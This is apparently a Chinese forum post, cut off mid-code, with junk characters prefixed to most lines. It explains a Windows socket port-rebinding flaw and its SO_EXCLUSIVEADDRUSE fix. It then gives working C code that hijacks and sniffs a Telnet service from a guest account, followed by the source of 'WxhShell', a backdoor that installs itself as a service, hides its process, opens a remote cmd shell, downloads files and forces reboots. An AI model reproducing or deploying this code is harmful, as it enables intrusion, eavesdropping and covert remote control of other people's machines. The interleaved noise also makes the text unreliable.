在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'r6 cVBb} s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
5%'o%`?i uht(3 saddr.sin_family = AF_INET;
$vz_%Y OW?uZ<z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
>=bt `..EQBM bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
z_'dRw \G]K,TG 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
bKTqX[ = ]Kof sU_{ 这意味着什么?意味着可以进行如下的攻击:
p1C_`f N, EkDws`@ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
GpScc'a7 wE)]
ah: 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
U-ERhm>uk pz.Y=V\t 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
coW)_~U| =P1RdyP 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
?U=mcdqd PKl]GegP 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
i[mC3ghM6, !'+\]eA 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
<##|311o kBQ5]Q" 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
C+DG+_%V*S _xa}B,H #include
ex{)mE4Cd #include
Fka1]|j9 #include
}#1UD #include
er#8D6* DWORD WINAPI ClientThread(LPVOID lpParam);
K3j_C`Se int main()
"4KkKi {
A{G5Plrh WORD wVersionRequested;
&~z+ R="= DWORD ret;
)j]gm i" WSADATA wsaData;
E {I)LdAqK BOOL val;
zw}@nqp SOCKADDR_IN saddr;
cb\jrbj6 SOCKADDR_IN scaddr;
9yO{JgKA int err;
_3s~!2 SOCKET s;
@?'t@P:4 SOCKET sc;
~JAH-R int caddsize;
c(QG4.)m HANDLE mt;
?ykVf O' DWORD tid;
#(m`2Z`H wVersionRequested = MAKEWORD( 2, 2 );
[lmHXf@1C err = WSAStartup( wVersionRequested, &wsaData );
vx({N? if ( err != 0 ) {
d4b 9rtM printf("error!WSAStartup failed!\n");
Pn~pej5'K return -1;
8XLxT(YFIs }
Y:DNu9 saddr.sin_family = AF_INET;
Ry3+/] ORUWslMt //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Bu*W1w\ a7ub.9> saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
EGp~Vo- saddr.sin_port = htons(23);
WZfk}To1# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
}|w=7^1z {
p~,a= printf("error!socket failed!\n");
|#Yu.c* return -1;
QC$=Fs5+ }
QCZ,K"y val = TRUE;
SSl8 //SO_REUSEADDR选项就是可以实现端口重绑定的
]2hF!{wc if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
RTdD]pE8Q {
]#vvlM>/ printf("error!setsockopt failed!\n");
2+c>O%L return -1;
M Ak-=?t }
/vFxVBX //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
{hkM*:U //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
s!8J.hD'I //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Dme(Knly Co{MIuL if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Xq=!"E {
,mAB)at ret=GetLastError();
X67C;H+ printf("error!bind failed!\n");
q/W{PBb-2k return -1;
hP'~ }
|G`4"``]k listen(s,2);
]be0I) while(1)
gJ)h9e*m^ {
4~]8N@Bii caddsize = sizeof(scaddr);
$@+p~ )r(l //接受连接请求
B|Rpm^| sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
0 .6X{kO if(sc!=INVALID_SOCKET)
P#vv+]/ {
a'*5PaXU@/ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
~:P8g<w
if(mt==NULL)
v*C+U$_3\1 {
lx A<iQia printf("Thread Creat Failed!\n");
S0Rf>Eo4 break;
7?n*t }
}J'5EAp }
>#"jfjDuR CloseHandle(mt);
mVc'%cPaw }
{2'74 closesocket(s);
} kh/mq WSACleanup();
+O.&64( return 0;
S*2L4Uj`| }
9TbS>o DWORD WINAPI ClientThread(LPVOID lpParam)
:FKYYH\ {
dw{#|| SOCKET ss = (SOCKET)lpParam;
SoXX}<~E4 SOCKET sc;
n)1 unsigned char buf[4096];
<{-(\>f!9 SOCKADDR_IN saddr;
cpr{b8Xb8& long num;
Cn6n4, 0 DWORD val;
rw=UK` DWORD ret;
q>(I*=7 //如果是隐藏端口应用的话,可以在此处加一些判断
1?e>x91 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
@'F8 |I 6 saddr.sin_family = AF_INET;
Oo3qiw saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
`a/PIc" saddr.sin_port = htons(23);
1drqWI~ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
web8QzLLB {
fY,@2VxyfA printf("error!socket failed!\n");
OI]K_ m3 return -1;
IgHs&= }
61s2bt# val = 100;
ZH`K%h0 if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~Uwr689N {
rlUdAa3 ret = GetLastError();
K[ Egwk7 return -1;
<x>k3bD }
5m%baf2_ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
alb+R$s {
Yt O@n@1 ret = GetLastError();
u75)>^:I return -1;
{'=Nb
5F }
pdcwq~4~% if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
CL<KBmW7 {
z6L>!= printf("error!socket connect failed!\n");
jr#g>7yM closesocket(sc);
I 1VEm?CQ closesocket(ss);
?-.Ep0/ return -1;
TYJnQ2m }
K,L> while(1)
!e#I4,f n {
o?Tp=Ge //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
e8P!/x-y //如果是嗅探内容的话,可以再此处进行内容分析和记录
_/z)&0DO //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
_]?Dt%MkD num = recv(ss,buf,4096,0);
G\,A> mT/P if(num>0)
uz#eO|z@o send(sc,buf,num,0);
;*37ta else if(num==0)
Fy(nu-W break;
u_[4n num = recv(sc,buf,4096,0);
K+`-[v5\ if(num>0)
!rsqr32] send(ss,buf,num,0);
3q.[-.q else if(num==0)
.olPm3MC break;
<p L;- }
J.1ln
=Y closesocket(ss);
S\{^LVXTMd closesocket(sc);
[WO%rO^p return 0 ;
MRVz:g\mi }
e2Kpx8kWj (&Tb,H)= :zn ?<(sQ ==========================================================
13_+$DhU-L x4HMT/@AG2 下边附上一个代码,,WXhSHELL
.'NO~ G
&rYz ==========================================================
4f*Ua`E_ ,T21z}r #include "stdafx.h"
!ovZ>,1 !EmR (x #include <stdio.h>
\dxW44sM #include <string.h>
]RrP !|^ #include <windows.h>
_G}CD|Kx #include <winsock2.h>
5(MZ%-~l #include <winsvc.h>
\Q?|gfJH #include <urlmon.h>
M\.T 0M_ [nPzhXs #pragma comment (lib, "Ws2_32.lib")
h7W%}6Cqkw #pragma comment (lib, "urlmon.lib")
f'i8Mm4IL ]stLC; nI #define MAX_USER 100 // 最大客户端连接数
%6c*dy #define BUF_SOCK 200 // sock buffer
+VpE-X=T #define KEY_BUFF 255 // 输入 buffer
Mp=kZs/ s=%+o&B #define REBOOT 0 // 重启
XdIVMXLL\ #define SHUTDOWN 1 // 关机
J%O4IcE tx1m36a" #define DEF_PORT 5000 // 监听端口
5 dNf$a0E 1KIq$lG{ E #define REG_LEN 16 // 注册表键长度
o YI=p3l #define SVC_LEN 80 // NT服务名长度
zs]/Y2 -JQg ~1 // 从dll定义API
}A'<?d8
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Hb AMoow! typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
8hdAXWPn typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
5vh"PlK`s typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
ao";5m b=QGbFf // wxhshell配置信息
";Ig%] struct WSCFG {
FnQ_=b
int ws_port; // 监听端口
xV 1Z&l char ws_passstr[REG_LEN]; // 口令
)Fr;'JYC1S int ws_autoins; // 安装标记, 1=yes 0=no
^B6i6]Pd=9 char ws_regname[REG_LEN]; // 注册表键名
b\Xu1> char ws_svcname[REG_LEN]; // 服务名
+_XbHjhN/ char ws_svcdisp[SVC_LEN]; // 服务显示名
V8U`%/`N char ws_svcdesc[SVC_LEN]; // 服务描述信息
u+tb83~[= char ws_passmsg[SVC_LEN]; // 密码输入提示信息
e'?doP int ws_downexe; // 下载执行标记, 1=yes 0=no
~ew**@N char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
t>h
i$NX{p char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=|JIY ]{6yS9_tuI };
vyx\N{ Lv5
==w} // default Wxhshell configuration
;
# ?0#):- struct WSCFG wscfg={DEF_PORT,
ESf7b `tS "xuhuanlingzhe",
$E_vCB_ 1,
kcz#8K]~ "Wxhshell",
JQh s=Xg "Wxhshell",
Jx
;"a\KD "WxhShell Service",
\gzwsT2& "Wrsky Windows CmdShell Service",
Rd1ku= "Please Input Your Password: ",
hy&Hl 1,
>8fz ?A "
http://www.wrsky.com/wxhshell.exe",
uj1E*
98m "Wxhshell.exe"
k| cI! };
I/b8 $\@ V4 // 消息定义模块
,t&-`U]AX char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
~md|k char *msg_ws_prompt="\n\r? for help\n\r#>";
w{O3P"N2 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
]3y5b9DuW char *msg_ws_ext="\n\rExit.";
|tJ%:`DGw char *msg_ws_end="\n\rQuit.";
#`L}. char *msg_ws_boot="\n\rReboot...";
aE cg_es char *msg_ws_poff="\n\rShutdown...";
g*c\'~f; char *msg_ws_down="\n\rSave to ";
i7FR78^ ._8cJf.ae char *msg_ws_err="\n\rErr!";
HXV73rDA char *msg_ws_ok="\n\rOK!";
Di"9 M(6vf (cA|N0 char ExeFile[MAX_PATH];
L(n~@gq int nUser = 0;
2GKU9cV*` HANDLE handles[MAX_USER];
-hR\Y2? int OsIsNt;
~q|e];tA <W%Z_d&Xv SERVICE_STATUS serviceStatus;
xv% USm SERVICE_STATUS_HANDLE hServiceStatusHandle;
95 .'t} 3XlnI:w= // 函数声明
t7+Ic int Install(void);
'=5_u int Uninstall(void);
5 /jY=/0.a int DownloadFile(char *sURL, SOCKET wsh);
a<"& RnG( int Boot(int flag);
?_j6})2zY void HideProc(void);
p}zk&` int GetOsVer(void);
sCCr%r]zL int Wxhshell(SOCKET wsl);
vrnj}f[h void TalkWithClient(void *cs);
nK'8Mo int CmdShell(SOCKET sock);
%+B-Z/1} int StartFromService(void);
vG_v89t!ex int StartWxhshell(LPSTR lpCmdLine);
0t[mhmSU, 2:/MN2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
}_/h~D9-T# VOID WINAPI NTServiceHandler( DWORD fdwControl );
& c9Fw:f; 4-rI4A< // 数据结构和表定义
L{,7(C= SERVICE_TABLE_ENTRY DispatchTable[] =
x&/Syb {
ts\>_/ {wscfg.ws_svcname, NTServiceMain},
F20-!b {NULL, NULL}
`b`52b\6S };
C^=gZ
6m & O\!!1% // 自我安装
0@x$Cp int Install(void)
[K@!JY {
~)IJE+e>} char svExeFile[MAX_PATH];
'L59\y8H HKEY key;
"v(]"L strcpy(svExeFile,ExeFile);
`/ReJj&~ d4h(F,K7V // 如果是win9x系统,修改注册表设为自启动
)[X!/KR90 if(!OsIsNt) {
zYF&Dv/u/ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
)0d".Q|v4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
bK;aV& RegCloseKey(key);
IeI%X\G if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|A/_Qe|s2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
|Pl{Oo+ RegCloseKey(key);
[Q_|6Di return 0;
/~huTKA} }
LF.~rmPa }
HtYR 0J }
:p)9Heu
else {
cE>/iZc Wc;D{p?Lb // 如果是NT以上系统,安装为系统服务
9,> Y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
2co{9LM if (schSCManager!=0)
HFWm}vA: {
&:f'{>3z SC_HANDLE schService = CreateService
WzbN=&
C]h (
VD`2lGdF schSCManager,
/_\W*@ E wscfg.ws_svcname,
9+Bq00-Z$ wscfg.ws_svcdisp,
Prx s2 i 8 SERVICE_ALL_ACCESS,
H>X1(sh#} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7tKft SERVICE_AUTO_START,
f8jz49C SERVICE_ERROR_NORMAL,
)^#Zg8L svExeFile,
{&qsh9ob NULL,
N%E2BJ? NULL,
}(}vlL NULL,
%)ov,p| NULL,
T\CQ NULL
WR EGRy );
(`/i1#nR if (schService!=0)
,,wx197XeD {
c;}n=7,>:L CloseServiceHandle(schService);
bO%ck-om! CloseServiceHandle(schSCManager);
UI|@5:J strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
zR_l^NK strcat(svExeFile,wscfg.ws_svcname);
BW=6gZ_ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
<[l}^`IC^4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
]JuB6o_L RegCloseKey(key);
pFRnPOv return 0;
l8us6 }
EoWzHa }
h,?Yw+#o" CloseServiceHandle(schSCManager);
;QD;5
<1 }
sn`?Foh }
1+c(G?Ava Bin&:%|9? return 1;
> .~k?_Of }
x+`3G. R:x04!} // 自我卸载
[;8fL int Uninstall(void)
Xb
1 ^Oj {
;K-t HKEY key;
sswAI|6ou 5g7}A` if(!OsIsNt) {
W?Abx if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?+o7Y1 k, RegDeleteValue(key,wscfg.ws_regname);
-3U}
(cZ* RegCloseKey(key);
7B"aFnK;[J if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
|noTIAI RegDeleteValue(key,wscfg.ws_regname);
$:Zxb RegCloseKey(key);
HOb\Hn|6jq return 0;
Z i&X ,K~ }
d0E5 ;3tQ }
aJ;R8(*;\ }
Nx
z ,/d else {
c4W"CD;D vAxtNRS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
X]%4QIeS if (schSCManager!=0)
o;/F=Zp {
8GQs9 SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
U<byR!qLie if (schService!=0)
Ggjb86v\ {
|.nWy"L if(DeleteService(schService)!=0) {
o7B+f CloseServiceHandle(schService);
B%;+8] CloseServiceHandle(schSCManager);
Yr0i9Qow return 0;
|<icx8hbr }
iAhRlQ{Qu CloseServiceHandle(schService);
>g=:01z9 }
sOenR6J<$ CloseServiceHandle(schSCManager);
.gg0: }
KO$8lMm$ }
@cNI|T #]^`BQ> return 1;
ueo3i1 }
"+Rm4_ 9j9?;3; // 从指定url下载文件
C,.{y`s' int DownloadFile(char *sURL, SOCKET wsh)
l%/,Ef*3 {
$"1&! HRESULT hr;
U?yXTMD char seps[]= "/";
`?m(Z6' char *token;
`XY[HK char *file;
THZ3%o=X char myURL[MAX_PATH];
+O6@)?pI char myFILE[MAX_PATH];
BtZm_SeA "<b84?V5 strcpy(myURL,sURL);
Vdyx74xX token=strtok(myURL,seps);
H-lRgJdc while(token!=NULL)
\/zS@fz {
B)*%d7=x file=token;
NYRNop( N# token=strtok(NULL,seps);
UkQocZdZ }
1-<Xi-=^{t qILr+zH GetCurrentDirectory(MAX_PATH,myFILE);
5J3kQ;5Q? strcat(myFILE, "\\");
'-{jn+, strcat(myFILE, file);
2V 'Tt3 send(wsh,myFILE,strlen(myFILE),0);
=z.AQe+ send(wsh,"...",3,0);
6Wp:W1E{` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=wc[r?7 if(hr==S_OK)
Hq8.O/Y"= return 0;
G9Ezm*I;: else
ST.W{:X return 1;
qxh\umm+2 RzRLrfV }
' 'N@ <| j+seJg<_ // 系统电源模块
)qe o`4+y int Boot(int flag)
;rbn/6 {
@,.H)\a4 HANDLE hToken;
qI:wm= TOKEN_PRIVILEGES tkp;
:#;?dMkTY 6 h):o if(OsIsNt) {
iqYc&}k, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
54&2SU$kx LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
f}4h}Cq tkp.PrivilegeCount = 1;
hG]20n2 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
E}+A)7mA AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/@e\I0P^ if(flag==REBOOT) {
I&0yUhn if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
LA5rr}<K return 0;
CJ b~~ }
cj)~7 WF else {
eS|p3jk; if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
-)GfSk
return 0;
>6j`ZWab> }
zQJbZ=5Bu" }
b%F*N r else {
75u*ZMK if(flag==REBOOT) {
!bg3 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
glpdYg * return 0;
`)fGw7J
{ }
~x+w@4)a> else {
HN! l-z if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
~ln,Cm} 4 return 0;
ebchHnOd }
,58[WZG }
3z<t# A{vG@Pwc: return 1;
E}u\{uY }
B#}RMFIj `JCC-\9T_ // win9x进程隐藏模块
-XBNtM_" void HideProc(void)
l=yO]a\QZ {
ADDp m-] -rfO"D> HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
V !$m{)Y if ( hKernel != NULL )
i%iU_` {
Ho/5e*X pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
,MJZ*"V/3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
bH&H\ Mx_k FreeLibrary(hKernel);
f!yxS?j3 }
!p2&$s"N. n8Fi?/ return;
n3w2& }
.:0nK
bW :?TV6M // 获取操作系统版本
h)rHf3: int GetOsVer(void)
/T@lHxX {
q0<g#jK OSVERSIONINFO winfo;
i || /=ai winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
&uM?DQ`o8 GetVersionEx(&winfo);
dxA=gL2 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k&2I(2S return 1;
03xQ%"TU< else
bCsQWsj^NW return 0;
s`{O- }
uf6{M_jXZ [T|~Kh%# // 客户端句柄模块
.Qaqkb-Ty int Wxhshell(SOCKET wsl)
7@`(DU`z {
4%pvw;r SOCKET wsh;
*\>7@r[%5 struct sockaddr_in client;
*KMCU
m DWORD myID;
P*}Oi7Z 1/z1~:Il
while(nUser<MAX_USER)
`@p*1 {
S=o/n4@} int nSize=sizeof(client);
E5rNC/Ul$$ wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
pD{Li\LY if(wsh==INVALID_SOCKET) return 1;
1+]e? B:l(`G handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
@"6BvGU2s if(handles[nUser]==0)
z')'8155 closesocket(wsh);
~7*HZ:. else
n V<YwqK nUser++;
p|Ln;aYc }
&EMm<(.]a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
sU>*S$X8 </eh^<_~ return 0;
R_lNC]b0 }
-V\33cA FKaY w // 关闭 socket
]}9EBf void CloseIt(SOCKET wsh)
iU &V}p {
:%Bo)0a9 closesocket(wsh);
xKxWtZ0 nUser--;
u5lj+? ExitThread(0);
p7z#4 GW }
),n?" Yy&0b(m U // 客户端请求句柄
2$jY_{B+x void TalkWithClient(void *cs)
=U:iR {
#xO`k1W. 1{A4_/R SOCKET wsh=(SOCKET)cs;
X:DHz0S char pwd[SVC_LEN];
GovGh? X#x char cmd[KEY_BUFF];
*e^ZH char chr[1];
LNj|t)O v int i,j;
bBZvL JL<}9K while (nUser < MAX_USER) {
X/@Gx 4 pgI@[zp7 if(wscfg.ws_passstr) {
sg3%n0Ms.W if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
k07O.9> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
S>6APQ- //ZeroMemory(pwd,KEY_BUFF);
ohwQ%NDl i=0;
w ^r*qi" while(i<SVC_LEN) {
zFOX%q ?&?y-&.5- // 设置超时
]^s4NXf+ fd_set FdRead;
p0-\G6 struct timeval TimeOut;
1j}o.0\ FD_ZERO(&FdRead);
<Wl!
Qog' FD_SET(wsh,&FdRead);
k(s3~S2h TimeOut.tv_sec=8;
xa K:@/ TimeOut.tv_usec=0;
sR5dC_ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
/6>2,S8Ar if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
pPh$Jvo] KxY|:-"Tt if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
`P'{HT pwd
=chr[0]; B-o"Y'iXs
if(chr[0]==0xd || chr[0]==0xa) { b+{,c@1rd
pwd=0; ;]p#PNQ0
break; 2(UT;PSI
} 0\.y0
K8
i++; WC`<N4g|
} ;v.l<AOE
$?0<rvGJ
// 如果是非法用户,关闭 socket keX0br7u_
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~,ac{%8x
} %e3lb<sv6
K~[/n<ks
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uq"RyvkpP
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B
[03,zVf
w2 CgEJ%
while(1) { K5!k06;s
c!s{QWd%
ZeroMemory(cmd,KEY_BUFF); .sCo,
HgbJsv$
// 自动支持客户端 telnet标准 t0?\5q
j=0; .NZ_dz$c
while(j<KEY_BUFF) { n}a# b%e
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (xq25;|Y
cmd[j]=chr[0]; e=YvMg
if(chr[0]==0xa || chr[0]==0xd) { N-lXC"{)
cmd[j]=0; 8^+Qn/b_%
break; t:W`=^
} ([s2F%S`@
j++; >&p_G0-
} lxV>
rmD
qxk1Rzm?x
// 下载文件 $vicxE~-E
if(strstr(cmd,"http://")) { O(CUwk
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0^zu T
if(DownloadFile(cmd,wsh)) VYvHpsI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); *S*;rLH9c
else %]d^B|
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
8DyE
} 0YW<>Y`6
else { .{~ygHQ`f
C#;}U51:t
switch(cmd[0]) { :;rd!)5
u2o6EU`
// 帮助 :*Sl\:_X)
case '?': { XVE(p3-
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); z9E*Mh(NE
break; E}yl@8g:#
} 5q@o,d
// 安装 ix,5-j
case 'i': { :QB Wy
if(Install()) ig3uY#
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1NA>W
else R /iB
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^+!!:J|ra
break; ^?w6
} yG{'hx6H
// 卸载 >|mmJ4T
case 'r': { .z)E
if(Uninstall()) ^\J/l\n
send(wsh,msg_ws_err,strlen(msg_ws_err),0); E2 #XXc
else XP~4jOL]
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3<#4
break; ;IE|XR(
} NmVc2V]I
// 显示 wxhshell 所在路径 UjUDP>iz.>
case 'p': { R8?Xz5
char svExeFile[MAX_PATH]; NgQ {'H[Y
strcpy(svExeFile,"\n\r"); XoL9:s(m~
strcat(svExeFile,ExeFile); ;}WdxWw4
send(wsh,svExeFile,strlen(svExeFile),0); V] <J^m8
break; @<r;>G
} ~O&3OL:L
// 重启
:p5V5iG
case 'b': { ?HAWw'QW
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %Gh!h4Pv
if(Boot(REBOOT)) utfD$8UI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H~Hh$-z
else { u 6$fF=
closesocket(wsh); Sycs u_je
ExitThread(0); _T)dmhG
} \k;*Ej~.
break; rt^<=|Z
} !ku5P+y$
// 关机 ;WWUxrWif
case 'd': { VYMs`d[
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c"H*9u:
if(Boot(SHUTDOWN)) gfR B
send(wsh,msg_ws_err,strlen(msg_ws_err),0); WfL5.&
else { 5W(G~m?jC6
closesocket(wsh); ok iI:
ExitThread(0); {?$-p%CF`8
} R^{Ow
break; 0_J<=T?\"s
} ULkjY1&
// 获取shell wRCGfILw
case 's': { OxZw;yD
CmdShell(wsh); &Vd,{JU
closesocket(wsh); /:~mRf^
ExitThread(0); 7?Q<kB=f
break; R bM`"wrZ
} vdyLwBz:
// 退出 dX^OV$
case 'x': { ^`!5!|
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ]*'V#;s
CloseIt(wsh); NffZttN
break; {|9x*I
} q$Gf9&ZO
// 离开 MR} GxI
case 'q': { NnRR"'
send(wsh,msg_ws_end,strlen(msg_ws_end),0); )`, Bt
closesocket(wsh); ou0(C`
WSACleanup(); +vY8HQ|v
exit(1); tg_v\n
break; R/VrBiw
} TyI"fP
} }'U"HHv
} /J")S?. [u
Yg3Vj=
// 提示信息 7j8nDX<
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }\!&3^I
} _l<e>zj
} 8!(4;fN$j.
9TuE.
return; Ei2hI
} RP?UKOc
S:"R/EE(
// shell模块句柄 hN=YC\l
int CmdShell(SOCKET sock) QVA)&k'T,
{ eo.y,U h
STARTUPINFO si; 38ChS.(
ZeroMemory(&si,sizeof(si)); cy%JJ)sf
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ +q.R
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; kC"lO'
PROCESS_INFORMATION ProcessInfo; z%Pbs[*C
char cmdline[]="cmd"; A%qlB[!:
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ckY,6e"6
return 0; (qG |.a
} PQ9.aJdw@-
p~1!O]qLt
// 自身启动模式 +KGZk?%
int StartFromService(void) #+I)<a7\
{ ]k
&Y )
typedef struct "ph&hd}S
{ 5v<X-8"
DWORD ExitStatus; +n_`*@SE
DWORD PebBaseAddress; {ULy B$\-
DWORD AffinityMask; "^_9t'0
DWORD BasePriority; lv\C(^mGq
